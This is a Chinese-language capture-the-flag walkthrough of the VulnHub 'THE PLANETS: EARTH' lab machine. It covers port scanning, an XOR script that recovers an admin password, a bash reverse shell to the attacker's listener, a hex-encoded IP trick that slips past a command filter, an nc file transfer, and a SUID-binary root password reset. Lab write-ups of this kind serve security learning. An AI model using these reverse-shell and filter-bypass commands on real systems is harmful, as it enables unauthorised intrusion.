vulnhub靶場之THE PLANETS: EARTH

準備:

攻擊機:虛擬機kali、本機win10。

靶機:THE PLANETS: EARTH,網段地址我這裡設置的橋接,所以與本機電腦在同一網段,下載地址://download.vulnhub.com/theplanets/Earth.ova,下載後直接vm打開即可。

資訊收集:

通過nmap掃描下網段內的存活主機地址,確定下靶機的地址:nmap 192.168.0.0/24,獲得靶機地址:192.168.0.11

掃描下埠對應的服務:nmap -T4 -sV -p- -A 192.168.0.11,顯示開放了22、80、443埠,但是443埠需要進行dns解析。

在未設置dns解析時,訪問下https和http服務顯示均是400:

設置dns解析:

win:打開C:\Windows\System32\drivers\etc\hosts文件,添加:192.168.0.11 earth.local 192.168.0.11 terratest.earth.local,然後訪問://earth.local///earth.local或//terratest.earth.local獲得初始介面:

kali:打開/etc/hosts文件,添加:192.168.0.11 earth.local 192.168.0.11 terratest.earth.local,然後同windows。

目錄掃描:

使用dirmap進行目錄掃描:python dirmap.py -i //earth.local/ -lcf和python dirmap.py -i //terratest.earth.local -lcf,獲得一下目錄資訊:

對掃描出來的地址進行訪問,獲得一個登錄介面、一個robots.txt文件,訪問結果如下:

嘗試訪問一下testingnotes.*文件,後面後綴進行測試,最後發現txt文檔可以訪問,//terratest.earth.local/testingnotes.txt

在該文件中發現了以下資訊:

1、用戶名資訊:terra used as username for admin portal,用戶名terra是超級管理員賬戶。

2、加密演算法:Using XOR encryption as the algorithm, should be safe as used in RSA,加密演算法XOR。

3、加密文本:testdata.txt was used to test encryption,測試數據在testdata.txt中。

xor演算法:a^b=c,則c^b=a或c^a=b,所以我們就需要將發送得資訊與密碼本資訊進行異或,得到原來發送得未加密得資訊。

讀取testdata.txt文件:

解碼傳輸資訊

#vlunhub之THE PLANETS: EARTH腳本
import binascii

entry_str = '2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a'
pass_txt = "According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."
#將pass_txt轉換成16進位
pass_txt_16 = binascii.b2a_hex(pass_txt.encode(encoding="utf-8")).decode('utf-8').replace("b'",'')
#進行xor運算
result = hex(int(entry_str,16)^int(pass_txt_16,16)).replace('0x','')
#將運算結果轉換成字元串
datatext = binascii.unhexlify(result).decode('utf-8')
print(datatext)
#腳本結果
earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat

觀察到最後得字元串資訊是:earthclimatechangebad4humans得重複,因此猜測密碼就是這個,因此在//earth.local/admin/login介面使用賬戶名和密碼進行登錄:

獲取flag

根據題目描述這題是要尋找兩個flag:

因此通過find查找flag文件,find / -name “*flag*”,

然後讀取下/var/earth_web/user_flag.txt文件的資訊,cat /var/earth_web/user_flag.txt,獲取到flag值:

獲取root許可權

觀察到當前用戶是apache用戶,那就是還差一個root用戶,因此這裡就要嘗試獲取root許可權

首先獲取下root許可權下的文件都有哪些,命令:find / -user root -perm -4000 -print 2>/dev/null,發現/usr/bin/reset_root,結果如下:

嘗試執行一下,但是重置密碼失敗

那就嘗試獲取下shell許可權,開啟kali的6688埠監聽:nc -lvvp 6688

在網頁輸入框中輸入 bash -i >& /dev/tcp/ 192.168.0.12/6688 0>&1 進行執行,但是顯示被禁止了

發現被禁止後就在網上查找了以下,發現通過將ip地址轉換成16禁止可以進行繞過:bash -i >& /dev/tcp/0xc0.0xa8.0x0.0xc/6688 0>&1,kali端成功獲取到shell許可權

因為shell上無法進行調試,因此把reset_root文件下載到本地進行調試,使用nc進行文件的傳遞,服務端:nc -nlvp 8899 >reset_root,shell端:nc 192.168.0.12 8899 < /usr/bin/reset_root,不分先後順序

然後使用strace進行調試:strace ./reset_root,顯示缺少三個文件

access("/dev/shm/kHgTFI5G", F_OK)       = -1 ENOENT (No such file or directory)
access("/dev/shm/Zw7bV9U5", F_OK)       = -1 ENOENT (No such file or directory)
access("/tmp/kcM0Wewe", F_OK)           = -1 ENOENT (No such file or directory)
write(1, "RESET FAILED, ALL TRIGGERS ARE N"..., 44RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.) = 44

那就去靶機上看一下這幾個文件,發現靶機上也沒有這幾個文件

那就創建這幾個文件後在嘗試執行下reset_root文件,成功修改su密碼為:Earth

在root許可權下查找flag文件並讀取flag值